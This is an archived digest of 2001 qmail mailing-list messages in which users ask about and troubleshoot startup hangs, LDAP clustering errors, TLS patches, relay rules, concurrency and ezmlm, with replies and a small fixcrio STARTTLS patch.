smtpfwdd[352]: can't open semaphore file in /var/smtpd/mqueue (Permission denied) - bye!

2001-08-01 Thread Jon Reynolds

The Subject of this email is the error i get at startup after i hit ctrl+c,
when i reboot my system(freebsd4.3rc2)it hangs when trying to start qmail it
looks like this:

[1] 220
  qmail
status: loal 0/10 remote 0/20

at this point it hangs and will go no further until i hit ctrl+c when that
is done i get the:

smtpfwdd[352]: can't open semaphore file in /var/smtpd/mqueue (Permission
denied) - bye!

This is my first time installing qmail and it has been a harrowing
experience :)

Any help would be most appreciated,

Jon





Re: deferral:Temporary_error_in_qmail-qmqpc_(as_mail_forwarder)_(LDAP-ERR_#239)

2001-08-01 Thread Henning Brauer

On Tue, Jul 31, 2001 at 05:13:33PM +0700, Vu Xuan Ngoc wrote:
 I am using qmail-ldap with qmail-ldap-20010301.patch

So use the qmail-ldap list.

 I creat a ldap entry:
 
 dn: uid=media,ou=qmailusers,dc=vn
 objectClass: person
 objectClass: qmailuser
 ...

Don't hide details.

 accountStatus: active
 homeDirectory: /home/export/media
 deliveryMode: ./maildir/

This is bogus. Read http://www.lifewithqmail.org/ldap/ again and look for
valid deliverymodes.

 mailhost: newsletters.vnn.vn
 mail: [EMAIL PROTECTED]
 ...
 when I receive message [EMAIL PROTECTED],
 I get an error:
 deferral:
 Temporary_error_in_qmail-qmqpc_(as_mail_forwarder)_(LDAP-ERR_#239)

I told it a thousand times and wrote it in life with qmail-ldap:
-make sure clustering is compiled _and_ turned on on _every_ machine in the
cluster
-make sure every hostname used for MailHost: attributes is exactly equal to
control/me on one cluster member
-make sure every hostname used for MailHost: attributes resolves to an IP
via DNS, /etc/hosts doesn't count. On each of these IPs a qmail-qmqpd must
be running and accepting mails from the other hosts - check your access
control.

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)



Re: smtpfwdd[352]: can't open semaphore file in /var/smtpd/mqueue (Permission denied) - bye!

2001-08-01 Thread Henning Brauer

On Tue, Jul 31, 2001 at 11:25:39PM -0800, Jon Reynolds wrote:
 smtpfwdd[352]: can't open semaphore file in /var/smtpd/mqueue (Permission
 denied) - bye!

This is no qmail message.

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)



Re: slow delivering the outgoing messages

2001-08-01 Thread Dani




Dani [EMAIL PROTECTED] wrote:
 Hi, i have a linux box running qmail + mysql with smtpauth, and the
smtp
 is too slow delivering the outgoing messages. I would like to know if
 there is any thing i could do to solve this problem, if there are
 any parameters to be configured in any of the files so the delivery
goes
 faster.

Yes, there probably are.  But you haven't told us anything.  Start by
posting the unedited output of qmail-showctl.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Hi, here there are my output of qmail-showctl:

qmail home directory: /var/qmail.
user-ext delimiter: -.
paternalism (in decimal): 2.
silent concurrency limit: 120.
subdirectory split: 23.
user ids: 501, 502, 503, 0, 504, 505, 506, 507.
group ids: 501, 502.

badmailfrom: (Default.) Any MAIL FROM is allowed.

bouncefrom: (Default.) Bounce user name is MAILER-DAEMON.

bouncehost: (Default.) Bounce host name is host.mydomain.com.

concurrencylocal: (Default.) Local concurrency is 10.

concurrencyremote: (Default.) Remote concurrency is 20.

databytes: (Default.) SMTP DATA limit is 0 bytes.

defaultdomain: Default domain name is mydomain.com.

defaulthost: (Default.) Default host name is host.mydomain.com.

doublebouncehost: (Default.) 2B recipient host: host.mydomain.com.

doublebounceto: (Default.) 2B recipient user: postmaster.

envnoathost: (Default.) Presumed domain name is host.mydomain.com.

helohost: (Default.) SMTP client HELO host name is host.mydomain.com.

idhost: (Default.) Message-ID host name is host.mydomain.com.

localiphost: (Default.) Local IP address becomes host.mydomain.com.

locals:
Messages for host.mydomain.com are delivered locally.
Messages for mydomain.com are delivered locally.

me: My name is host.mydomain.com.

percenthack: (Default.) The percent hack is not allowed.

plusdomain: Plus domain name is mydomain.com.

qmqpservers: (Default.) No QMQP servers.

queuelifetime: (Default.) Message lifetime in the queue is 604800 seconds.

rcpthosts:
SMTP clients may send messages to recipients at localhost.
SMTP clients may send messages to recipients at host.mydomain.com.
SMTP clients may send messages to recipients at mydomain.com.
...

morercpthosts: (Default.) No effect.

morercpthosts.cdb: (Default.) No effect.

smtpgreeting: (Default.) SMTP greeting: 220 host.mydomain.com.

smtproutes: (Default.) No artificial SMTP routes.

timeoutconnect: (Default.) SMTP client connection timeout is 60 seconds.

timeoutremote: (Default.) SMTP client data timeout is 1200 seconds.

timeoutsmtpd: (Default.) SMTP server data timeout is 1200 seconds.

virtualdomains:

sqlserver: I have no idea what this file does.

.rcpthosts.swp: I have no idea what this file does.

qmailadmin.conf: I have no idea what this file does.

Thanx




Re: smtpfwdd[352]: can't open semaphore file in /var/smtpd/mqueue (Permission denied) - bye!

2001-08-01 Thread Adrian Ho

On Tue, Jul 31, 2001 at 11:25:39PM -0800, Jon Reynolds wrote:
 The Subject of this email is the error i get at startup after i hit ctrl+c,
 when i reboot my system(freebsd4.3rc2)it hangs when trying to start qmail it
 looks like this:
 
 [1] 220
   qmail
 status: loal 0/10 remote 0/20
 
 at this point it hangs and will go no further until i hit ctrl+c when that
 is done i get the:
 
 smtpfwdd[352]: can't open semaphore file in /var/smtpd/mqueue (Permission
 denied) - bye!

I don't use xBSD myself, but a quick Google search suggests you're running
Obtuse smtpd/smtpfwdd (an SMTP store/forward proxy) on your system.  The
first question you gotta ask yourself is: Why would you need it?  Try
disabling it and see what happens.

 This is my first time installing qmail and it has been a harrowing
 experience :)

Probably because you didn't follow http://www.lifewithqmail.org/.

-- 
Adrian HoTinker, Drifter, Fixer, Bum   [EMAIL PROTECTED]
ListArchive: http://marc.theaimsgroup.com/?l=qmail
Useful URLs: http://cr.yp.to/qmail.html http://www.qmail.org
 http://www.lifewithqmail.org/ http://qmail.faqts.com/



Does Vpopmail support IMAP?

2001-08-01 Thread KK

hello friends -

after a lot of hassles, i was successful in installing
Qmail+IMAP-with-Maildir-Patch-by-David-Harris+Vpopmail+MySQL.
following is my quesries relating to the above:

1. Does Vpopmail support
IMAP-with-Maildir-Patch-by-David? Or is it only good
for POP3 mails?

2. After installing the above combination of softwares
(I have followed all the intructions step by step and
also tried the various tips given on this list), I am
still not able to receive incoming emails via Outlook
Express or Netscape Messenger using the IMAP protocol.
I tried both Vchkpw cdb-file format as well as MySQL
format for username/password authentication. But
nothing seems to work. When I click Get Mails,
neither of the client email software asks for password
and says, No emails to be downloaded. Though I am
able to send emails using IMAP protocol. I even
checked the Maildir directory for the particular user
and i found that the email has reached in there. When
I try to telnet as: telnet newqmail.com 143, I get
connected to the IMAP server, but when I type user
[EMAIL PROTECTED] it displays an error: 
Trying 192.168.0.169... 
connected to nete.linux(192.168.0.169).
Escape character is'^]'.
* PREAUTH nete.linux IMAPreu1 v12.250 server ready
user [EMAIL PROTECTED]
user BAD command unrecognized: [EMAIL PROTECTED]

But, the same thing works with POP3 proptocol. Using
POP3 protocol i am able to send as well as receive
mails using mail clients.

Any suggestions/help/tips is appreciated.


=
KK
[EMAIL PROTECTED], [EMAIL PROTECTED]
Associate
Netesoft India Ltd.
http://www.netesoft.com
P: 91.40.6319813

__
Do You Yahoo!?
Make international calls for as low as $.04/minute with Yahoo! Messenger
http://phonecard.yahoo.com/



qmailctl restart doesn't work

2001-08-01 Thread François Philippo

qmail works fine
I configured it with qmail-conf


but qmailctl restart does't works
I have a permanent message 
can't restart qmail-sendalready started

I have the same when I do :
qmailctl stop
qmailctl start


where does that come from ??

thanx
@+



SSL again with tls.patch

2001-08-01 Thread Per-fredrik Pollnow (EPK)

Hi,

I think I'm getting on you nerves in this mailing list with my SSL crap, but I need to 
get it to work.

OK, This is what I have done: I have remake qmail-1.03 with tls.patch, and I replaced 
the qmail-smtpd and qmail-remote binary. I have done a 
/var/qmail/control/servercert.pem (and I have openssl installed (default in the O/S 
[OpenBSD2.9] hmm else I couldn't install the cert.)).

That's it, But I get this error messages in my client:

Unable to establish a SSL connection with the server. Account: '136.225.42.56', 
Server: '136.225.42.56', Protocol: SMTP, Server Response: '454 TLS not available: 
missing RSA private key (#4.3.0)', Port: 25, Secure(SSL): Yes, Server Error: 454, 
Error Number: 0x800CCC7F

If someone knows what the problem is, please mail me and the mailing list a E-mail :=).

/Per



Received: from unknown PROBLEM

2001-08-01 Thread Mustafa Mahudhawala

Hello,
My Qmail is working fine , smtp / pop et al.
BUT whenever I see Mail Headers I always have this ...

I sent an email from indiatimes to my mail.

Return-Path: [EMAIL PROTECTED]
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 78698 invoked from network); 1 Aug 2001 09:53:00 -
Received: from unknown (HELO WS0005.indiatimes.com) (203.199.93.15)
  by 0 with SMTP; 1 Aug 2001 09:53:00 -
Received: from 192.168.57.15 (a3 [192.168.57.23])
 by WS0005.indiatimes.com (8.9.3/8.9.3) with SMTP id PAA04070

Why unknown ???
SMTP Entries of other smtp servers show correct user or host name !!!

THIS IS JUST ONE EXAMPLE
All mails from any server show same problem.

I Searched on the mailing list,
though many O/P had this symptom nobody seemed to notice.

I am using Qmail 1.03
Through tcpserver with following switches

#!/bin/sh
QMAILD = `id -u qmaild`
NOFILES = `id -g qmaild`
exec /usr/local/bin/tcpserver -v -H -R -o -l 0 -x /etc/qmail/tcp.smtp.cdb \
-u $QMAILD -g $NOFILES 0 smtp /var/qmail/bin/qmail-smtpd 21

I tried without  -H  -R but same problem ...
Am I missing something

Any Help or directions will be highly appreciated !!

Thanx  Regards
Mustafa M.

-
VeetVision Communications (P) Ltd.
Bungalow RH-3, Moghul Gardens, 411001 Pune, India
Tel. 91-20-6113056, 6051597, 6051598 / Fax 91-20-6050652




Re: Received: from unknown PROBLEM

2001-08-01 Thread Peter van Dijk

On Wed, Aug 01, 2001 at 03:51:59PM +0530, Mustafa Mahudhawala wrote:
 Hello,
 My Qmail is working fine , smtp / pop et al.
 BUT whenever I see Mail Headers I always have this ...
 
 I sent an email from indiatimes to my mail.
 
 Return-Path: [EMAIL PROTECTED]
 Delivered-To: [EMAIL PROTECTED]
 Received: (qmail 78698 invoked from network); 1 Aug 2001 09:53:00 -
 Received: from unknown (HELO WS0005.indiatimes.com) (203.199.93.15)
   by 0 with SMTP; 1 Aug 2001 09:53:00 -
 Received: from 192.168.57.15 (a3 [192.168.57.23])
  by WS0005.indiatimes.com (8.9.3/8.9.3) with SMTP id PAA04070
 
 Why unknown ???
 SMTP Entries of other smtp servers show correct user or host name !!!
 
 THIS IS JUST ONE EXAMPLE

Do you need to make such loud noises?

Your server has no reverse name in DNS.

Greetz, Peter
-- 
Against Free Sex!   http://www.dataloss.nl/Megahard_en.html



ScanMail Message: To Recipient virus found and action taken.

2001-08-01 Thread System Attendant

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = [EMAIL PROTECTED]
Recipient(s) = [EMAIL PROTECTED]
Subject = GFIPpap_01
Scanning Time = 08/01/2001 18:48:37

Action on virus found:
The attachment GFIPpap_01.xls.pif exists TROJ_SIRCAM.A virus. ScanMail has
Moved it.  The attachment was moved to
d:\Virus\GFIPpap_01.xls3b67de8568.pif_.

Warning to recipient. ScanMail detected a virus in an email attachment and
has been removed!  If this mail is from Internet, the sender don't know
his/her mail consists of virus and has been removed.  Please ask the sender
to clean and re-send.



Re: SSL again with tls.patch

2001-08-01 Thread Franz Sirl

At 12:01 01.08.2001, Per-fredrik Pollnow (EPK) wrote:
Hi,

I think I'm getting on you nerves in this mailing list with my SSL crap, 
but I need to get it to work.

OK, This is what I have done: I have remake qmail-1.03 with tls.patch, and 
I replaced the qmail-smtpd and qmail-remote binary. I have done a 
/var/qmail/control/servercert.pem (and I have openssl installed (default 
in the O/S [OpenBSD2.9] hmm else I couldn't install the cert.)).

That's it, But I get this error messages in my client:

Unable to establish a SSL connection with the server. Account: 
'136.225.42.56', Server: '136.225.42.56', Protocol: SMTP, Server Response: 
'454 TLS not available: missing RSA private key (#4.3.0)', Port: 25, 
Secure(SSL): Yes, Server Error: 454, Error Number: 0x800CCC7F

If someone knows what the problem is, please mail me and the mailing list 
a E-mail :=).

Incidentally I just got this to work yesterday on a server of mine. I had 
initial problems too, but I got rid of them with the following steps:

- on make cert in the patched qmail-1.03 dir, entered the machines 
hostname for Common name (...)
- removed fixcrio from the qmail-smtpd invocation line (hmm, try removing 
rblsmtpd too if you use it?)
- created /var/qmail/control/tlsserverciphers with DEFAULT as the only 
content

I dunno which of the above steps are really necessary, but it works here 
now with Eudora-5.1 as the client. Now I have to find out how to teach 
qmail-pop3 TLS...

Franz.




Re: SSL again with tls.patch

2001-08-01 Thread Christophe Saout

Franz Sirl wrote:
 
 Incidentally I just got this to work yesterday on a server of mine. I had
 initial problems too, but I got rid of them with the following steps:
 
 - on make cert in the patched qmail-1.03 dir, entered the machines
 hostname for Common name (...)
 - removed fixcrio from the qmail-smtpd invocation line (hmm, try removing
 rblsmtpd too if you use it?)
 - created /var/qmail/control/tlsserverciphers with DEFAULT as the only
 content
 
 I dunno which of the above steps are really necessary, but it works here
 now with Eudora-5.1 as the client. Now I have to find out how to teach
 qmail-pop3 TLS...

I've written a small (hacky) patch to fixcrio so that it recognizes TLS
sessions.
But you don't need to remove rblsmtpd, it works fine here.

--- ucspi-tcp-0.88/fixcrio.cSat Mar 18 16:18:42 2000
+++ ucspi-tcp-0.88.new/fixcrio.cSat Jun  2 01:39:46 2001
@@ -23,6 +23,14 @@
 int rightpos;
 int rightflagcr = 0;
 
+#define NULL ((void *)0)
+int active = 1;
+int gotleft_tls = 0;
+static char left_tls[] = STARTTLS;
+static char right_tls[] = 220;
+static char *left_p = NULL;
+static char *right_p = NULL;
+
 void doit(int fdleft,int fdright)
 {
   struct taia stamp;
@@ -83,9 +91,20 @@
leftlen = 0;
for (i = 0;i  r;++i) {
  ch = prebuf[i];
- if (ch == '\n')
-   if (!leftflagcr)
- leftbuf[leftlen++] = '\r';
+ if (active)
+   if (ch == '\n') {
+ if (!leftflagcr)
+   leftbuf[leftlen++] = '\r';
+ gotleft_tls = (left_p != NULL  *left_p == 0);
+ if (gotleft_tls)
+   right_p = right_tls;
+ left_p = left_tls;
+   } else if (left_p != NULL  *left_p != 0) {
+ if (ch == *left_p)
+   left_p++;
+ else
+   left_p = NULL;
+   }
  leftbuf[leftlen++] = ch;
  leftflagcr = (ch == '\r');
}
@@ -107,9 +126,18 @@
   rightlen = 0;
   for (i = 0;i  r;++i) {
ch = prebuf[i];
-   if (ch == '\n')
- if (!rightflagcr)
-   rightbuf[rightlen++] = '\r';
+   if (active)
+ if (ch == '\n') {
+   if (!rightflagcr)
+ rightbuf[rightlen++] = '\r';
+   active = !(right_p != NULL  *right_p == 0);
+   right_p = NULL;
+ } else if (right_p != NULL  *right_p != 0) {
+   if (ch == *right_p)
+ right_p++;
+   else
+ right_p = NULL;
+ }
rightbuf[rightlen++] = ch;
rightflagcr = (ch == '\r');
   }

Ciao, Chtephan!



Re: Concurrency connections

2001-08-01 Thread Himanshu Kulkarni

hi

we are using Qmail 1.03 with LDAP ... and we have applied LDAP patch ... i
am now getting the deferral:qmail-spawn_unabme_to_fork_(#4.3.0) ... very
frequently  also on Linux 7.0 we are getting error  bash: fork:
Resource temporarily unavailable ..

the error message in maillog file is
Jul 25 09:50:23 mummail3 qmail: 996034823.354251 delivery 23: deferral:
qmail-spawn_unable_to_fork._(#4.3.0)

Jul 25 09:50:23 mummail3 qmail: 996034823.370976 status: local 0/35 remote
21/200

Jul 25 09:50:23 mummail3 qmail: 996034823.387715 delivery 24: deferral:
qmail-spawn_unable_to_fork._(#4.3.0)/

Jul 25 09:50:23 mummail3 qmail: 996034823.404424 status: local 0/35 remote
20/200

On Linux server while checking the resources it is observed that Qmail is
unable to close the TCP connection  in the output of netstat command it
is observed that at any point of time almost 100 connections are in
TIME_WAIT state against 10 in ESTABLISHED state 

I am attaching part of the netstat command out put 

bash-2.04# netstat |more

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 mummail3.isp.:smtp 192.168.100.5:3331 TIME_WAIT

tcp 0 0 mummail3.isp.:smtp 192.168.100.5:3330 TIME_WAIT

tcp 0 0 mummail3.isp.:pop3 203.124.240.10:1513 TIME_WAIT

tcp 0 0 mummail3.isp.:pop3 192.168.100.88:1087 TIME_WAIT


We are using IBM LDAP is installed on AIX. After discussing with IBM, they
have concluded that the problem is due to Qmail failing to close its
connection with LDAP cleanly.

any help on this is wel come ...

thanks and regards

Himanshu





custom RBLSMTPD message... (was: Sublist (Was: Virus...)

2001-08-01 Thread Roger Merchberger

Rumor has it that Russell Nelson may have mentioned these words:
Smithj writes:
  Use GIMP :)

Yup.  Anybody who uses an email client that they didn't write
themselves (in assembly language) is just a poseur.

Altho I've never really stopped programming in assembly, I do *very* little
with it nowadays... and until sombody gets that mighty 1.78Mhz 6809 to
handle a TCP/IP stack in my CoCo3 (thru the bit-banger serial port, no
less) I doubt I will program my MUA in assembly...

In a feeble attempt to bring some signal back to the noise, I dunno if this
is a FAQ or not (but I'd suspect not...) and I have searched the archives
to no avail, but I was wondering if you can use an environment variable or
*something* to set the RBLSMTPD= variable in tcp.smtp... here's a snippet
of that file:

195.219.116.19:allow,RBLSMTPD=/-You are banned from sending mail here;
known spam host./
195.219.91.3:allow,RBLSMTPD=/-You are banned from sending mail here; known
spam host./
198.30.222.8:allow,RBLSMTPD=/-You are banned from sending mail here; known
spam host./

I'd like to put a different (and prolly longer) message in there, including
an off-site email address that folks could use if they do stop sending
spam, but putting that on *every* line is becoming tedious...

Do I just live with it or is there an easier solution?

Thanks,
Roger Merch Merchberger

-- P.S. I use Eudora 3.0 Pro for my email client (with everything turned
off...) and under Linux I use *nothing* because I've found no client yet
that allows you to selectively remove messages via POP3 automagically thru
a filter. At home, I telnet in  grep the Maildir/new if I need to find
something important...
--
Roger Merch Merchberger   ---   sysadmin, Iceberg Computers
Recycling is good, right???  Ok, so I'll recycle an old .sig.

If at first you don't succeed, nuclear warhead
disarmament should *not* be your first career choice.



Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

2001-08-01 Thread Peter van Dijk

On Wed, Aug 01, 2001 at 09:38:19AM -0400, Roger Merchberger wrote:
[snip]
 195.219.116.19:allow,RBLSMTPD=/-You are banned from sending mail here;
 known spam host./
 195.219.91.3:allow,RBLSMTPD=/-You are banned from sending mail here; known
 spam host./
 198.30.222.8:allow,RBLSMTPD=/-You are banned from sending mail here; known
 spam host./
 
 I'd like to put a different (and prolly longer) message in there, including
 an off-site email address that folks could use if they do stop sending
 spam, but putting that on *every* line is becoming tedious...
 
 Do I just live with it or is there an easier solution?

file:
195.219.116.19
195.219.91.3
198.30.222.8

tool:
perl -ne 'chomp(); print $_:allow,RBLSMTPD=/-yuck fou./\n;'

Filter file through tool. Add sugar or milk according to taste. Enjoy.

Greetz, Peter
-- 
Against Free Sex!   http://www.dataloss.nl/Megahard_en.html



Re: qmail won't start

2001-08-01 Thread Dave Sill

Marenbach, Peter [EMAIL PROTECTED] wrote:

I just build and set up qmail for the first time (according to the
installation description in Life with qmail) on a Solaris 5.8 box.

I tried to start qmail by invoking 
   qmail-start ./Mailbox splogger qmail
and nothing at all did happen. No stderr/stdout no syslog, no processes
running.

Any ideas?

Yeah, why didn't you follow LWQ? I mean, why use LWQ is you're not
going to do what it tells you to do?

No sane qmail installation document will tell you to run qmail-start
manually..

-Dave



RE: SMTP+SSL

2001-08-01 Thread Dave Sill

Per-fredrik Pollnow (EPK) [EMAIL PROTECTED]
wrote:

But how to you do when you are using stunnel + smtpd ?

This is some of the tings I have tried:
--
#!/bin/sh
QMAILDUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`
MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
exec /usr/local/bin/softlimit -m 200 \
/usr/local/bin/tcpserver -v -R -l 0 -x /etc/tcp.smtp.cdb -c $MAXSMTPD \
 -u $QMAILDUID -g $NOFILESGID 0 smtp /usr/local/sbin/stunnel -p 
/etc/pem/smtp.pem -N smtp -l/var/qmail/bin/qmail-smtpd 21 -- qmail-smtpd

Add the -f stunnel option and remove the -- qmail-smtpd.

AND
--
#!/bin/sh
exec /usr/local/sbin/stunnel -p /etc/pem/smtp.pem -d 465 -r 25 21

--

Add the -f stunnel option.

Describe your testing procedure (which client are you using?) and
provide a copy of any error messages you're getting.

-Dave



Re: Sublist (Was: Virus-infected listmembers)

2001-08-01 Thread Uwe Ohse

On Tue, Jul 31, 2001 at 06:50:33PM +0200, Lukas Beeler wrote:

[a lot of broken quoting]
Please, learn how to correctly reply to messages. Your style 
makes it very hard to distinguish between your own words and these
of the one you replied to. You also quoted a signature, which is
bad style, too.

btw, you might also want to use a mail-followup-to header. 
btw2, there is rarely a reason to CC Russ Nelson if you are
sending mails to the qmail mailing list. I can imagine only
one: The wish to annoy him.


 i use a windows MUA because i have to, because i don't have the money, to 
 buy a third computer [beside my devel server].

why do you use windows at all?
Yes, i know that there are three reasons to use windows. Encarta, 
M$ SQL-Server and wanting to support Gates and Balmer ...


 Or would you tell your 
 mother, that she now should use mutt as her email client ?

Of course.
She either uses software i recommend or she has to buy support from
somewhere.
Apart from that, there's software besides mutt. I've heard about
20 to 100 email clients for unix over the years. Most are free and
usuable. 

Regards, Uwe



Re: Message without Subject and From!!!

2001-08-01 Thread Charles Cazabon

Daniel Abad [EMAIL PROTECTED] wrote:
 
 When a send a message to my virtual user, I check it from telnet and it's
 without subject and from!! What should I do?? 

Compose your message differently.  The From: and Subject: fields in
the message header are completely optional.

This isn't a qmail issue.  See the documentation for your MUA for
further details.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---



Re: slow delivering the outgoing messages

2001-08-01 Thread Charles Cazabon

Dani [EMAIL PROTECTED] wrote:
   Hi, i have a linux box running qmail + mysql with smtpauth, and
   the smtp is too slow delivering the outgoing messages. I would
   like to know if there is any thing i could do to solve this
   problem, if there are any parameters to be configured in any of
   the files so the delivery goes faster.
 
 Yes, there probably are.  But you haven't told us anything.  Start by
 posting the unedited output of qmail-showctl.
 
 Hi, here there are my output of qmail-showctl:
[...] 
 concurrencylocal: (Default.) Local concurrency is 10.
 
 concurrencyremote: (Default.) Remote concurrency is 20.

Well, these values are low for a high-volume server.  Check your
qmail-send logs; if you're frequently hitting these concurrency limits,
then try raising them.  If you're not hitting these limits regularly,
then raising them will have no effect on the speed of delivery.

Do not post a followup to this message asking how to raise the
concurrency, or where to find the qmail-send logs, or anything like
that.  It's all in the documentation.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---



Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

2001-08-01 Thread Roger Merchberger

Rumor has it that Peter van Dijk may have mentioned these words:

[snip]

file:
195.219.116.19
195.219.91.3
198.30.222.8

tool:
perl -ne 'chomp(); print $_:allow,RBLSMTPD=/-yuck fou./\n;'

     ;-)

I'd *love* to use that as my default text, but methinks I'll have to be a
bit more diplomatic.

Filter file through tool. Add sugar or milk according to taste. Enjoy.

I'm writing a perl script to take my Eudora mbox spam file and extract all
of the IP addresses to put in my tcp.smtp automagically, where i was
planning on adding that line... but if someone with an open relay closes
it, they won't be able to contact me to let me know they fixed their MUA.

But in other words, live with it. No problem.

Hey - here's an idea: Can you set an arbitrary environment variable (like
DATESET=whatever), and will qmail ignore it? That way, I could have my
proggie note when the entry was listed, and I can remove entries not
associated with a netblock, say, over 1 or 2 months old automatically...

I'm trying to get a handle on this spam thing, now that mail-abuse.org is
now charging for their services -- I checked out their prices, and while
they're not highway robbery, they're pretty tough for a small ISP to afford.

Thanks again!
Roger Merch Merchberger
--
Roger Merch Merchberger   ---   sysadmin, Iceberg Computers
Recycling is good, right???  Ok, so I'll recycle an old .sig.

If at first you don't succeed, nuclear warhead
disarmament should *not* be your first career choice.



ezmlm idx + ezmlm web + setuid

2001-08-01 Thread lkirchhoff

Hi,

i've  just installed the ezmlm 0.53 with idx 0.4 and 
tried to run  ezmlm-web.cgi. The problem is that the 
lists are always created in the /tmp dir. I tried to 
set up the  /var/qmail/alias dir in the  ezmlmwebrc, 
but  then  i  had  an   error with qmail [homedir is 
writeable]. This is  because the setuid of the  cgi- 
wrapper  isn't working correctly, so i had to change 
the dir mode to 777.

Here is the ls output of cgi-bin dir:
drwxr-xr-x   2 root root 4096 Aug  1 15:26 ./
drwxr-xr-x   4 root root 4096 Aug  1 15:19 ../
-rwsr-xr-x   1 aliasusers   11411 Jul 31 12:38 ezmlm-startweb.cgi*

I thought that  this will  cause that  the script is 
running  under   the  user  alias  and  the  created  
directories will be  owned by him.  But all dirs are 
still created from wwwrun. 
Is there a special  setup needed  for apache, that i
can execute suid scripts?
Why are the dirs still created by wwwrun?

any solutions would be very helpful.

thanks in advance

ciao Lars



Selective Relaying and tcprulescheck

2001-08-01 Thread Scott Zielsdorf

Greetings All,

I have reinstalled qmail EXACTLY via the documentation in LWQ EXCEPT for
installation of the daemontools. I am using daemontools 0.76 and I used the
referenced Web page in the README to install. I have tried all manner of run
files supplied by members of the list - and thank you Robin and others who
sent their run files to me. Still, I cannot get selective relay to work.
qmail is either promiscuous or a virgin but their ain't no inbetween when it
comes to relaying.

I did notice in my search of the Web that people were reporting detailed
output from running tcprulescheck /etc/tcp.smtp.cdb.
Here's the contents of my tcp.smtp file (cut and pasted):

127.:allow,RELAYCLIENT=
192.168.10.:allow,RELAYCLIENT=

Yet, when I run tcprulescheck, I get this:

[root@cilinux /etc]# tcprulescheck /etc/tcp.smtp.cdb
default:
allow connection
[root@cilinux /etc]#

If I run tcprulescheck /etc/tcp.smtp.cdb 192.168.10. I get the same output
as above.

I have compiled my rules by both invoking tcprules /etc/tcp.smtp.cdb
/etc/tcp.smtp.tmp  /etc/tcp.smtp enter and qmailctl cdb enter

Is the minimal output I am seeing from tcprulescheck normal or do I have a
problem there? And if it's a problem - what do I do to fix it?

Thanks,


Scott Zielsdorf
Senior Technical Support Consultant
Computer Instruments IVR Solutions Support Group
Voice: 913.492.1888 x8862 Fax: 913.492.1483




Re: Selective Relaying and tcprulescheck

2001-08-01 Thread Philipp Steinkrüger

Hi Scott,

you have to set and probably export (someone correct me if i am wrong here) 
$TCPREMOTEIP before invoking tcprules check. then, tcprulescheck will tell 
you what will happen to a connection from the ip in $TCPREMOTEIP.
for example if your tcp.smtp file is: 

127.:allow,RELAYCLIENT=
192.168.10.:allow,RELAYCLIENT=
:deny (- default) 

and you put 192.168.10.5 in $TCPREMOTEIP then it well tell you 

rule :
allow connection 

if you put 63.195.102.4 i.e, then it will tell you: 

rule :
deny connection 


hope that helps you. check the refernce page for tcprulescheck: 

http://cr.yp.to/ucspi-tcp/tcprulescheck.html 

 

Regards,
Philipp 

Scott Zielsdorf writes: 

 127.:allow,RELAYCLIENT=
 192.168.10.:allow,RELAYCLIENT= 
 
 Yet, when I run tcprulescheck, I get this: 
 
 [root@cilinux /etc]# tcprulescheck /etc/tcp.smtp.cdb
 default:
 allow connection
 [root@cilinux /etc]# 
 
 If I run tcprulescheck /etc/tcp.smtp.cdb 192.168.10. I get the same output
 as above. 
 
 I have compiled my rules by both invoking tcprules /etc/tcp.smtp.cdb
 /etc/tcp.smtp.tmp  /etc/tcp.smtp enter and qmailctl cdb enter 
 
 Is the minimal output I am seeing from tcprulescheck normal or do I have a
 problem there? And if it's a problem - what do I do to fix it? 
 
 Thanks, 
 
 
 Scott Zielsdorf
 Senior Technical Support Consultant
 Computer Instruments IVR Solutions Support Group
 Voice: 913.492.1888 x8862 Fax: 913.492.1483 
 
 


 
Philipp Steinkrüger 

Technik
Oberberg Online
Tel.: +49 2261 814240
Fax: +49 2261 814919
www.oberberg.net
[EMAIL PROTECTED] 



Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

2001-08-01 Thread Russell Nelson

Roger Merchberger writes:
  Rumor has it that Russell Nelson may have mentioned these words:
  Yup.  Anybody who uses an email client that they didn't write
  themselves (in assembly language) is just a poseur.
  
  Altho I've never really stopped programming in assembly, I do *very* little
  with it nowadays... and until sombody gets that mighty 1.78Mhz 6809 to
  handle a TCP/IP stack in my CoCo3 (thru the bit-banger serial port, no
  less) I doubt I will program my MUA in assembly...

Feh.  If you were any good, you'd be able to connect an Ethernet
controller to it, and port a TCP/IP stack to the thing.  I managed to
wrire-wrap a board for HP's HP-IL interface chip (the 1LB3) and an
EEPROM.  I put an HP-IL controller into the EEPROM so I could use HP's
HP-IL tape drive to load and save programs.  The CoCo3 was an
excellent hacker's computer, and HP an excellent hacker's company.

  I'd like to put a different (and prolly longer) message in there, including
  an off-site email address that folks could use if they do stop sending
  spam, but putting that on *every* line is becoming tedious...

Use a tool to build tcp.smtp?

-- 
-russ nelson [EMAIL PROTECTED]  http://russnelson.com
Crynwr sells support for free software  | PGPok | 
521 Pleasant Valley Rd. | +1 315 268 1925 voice | #exclude windows.h
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | 



Re: Selective Relaying and tcprulescheck

2001-08-01 Thread Charles Cazabon

Scott Zielsdorf [EMAIL PROTECTED] wrote:
 
 I did notice in my search of the Web that people were reporting detailed
 output from running tcprulescheck /etc/tcp.smtp.cdb.
 Here's the contents of my tcp.smtp file (cut and pasted):
 
 127.:allow,RELAYCLIENT=
 192.168.10.:allow,RELAYCLIENT=

Which implies :allow .
 
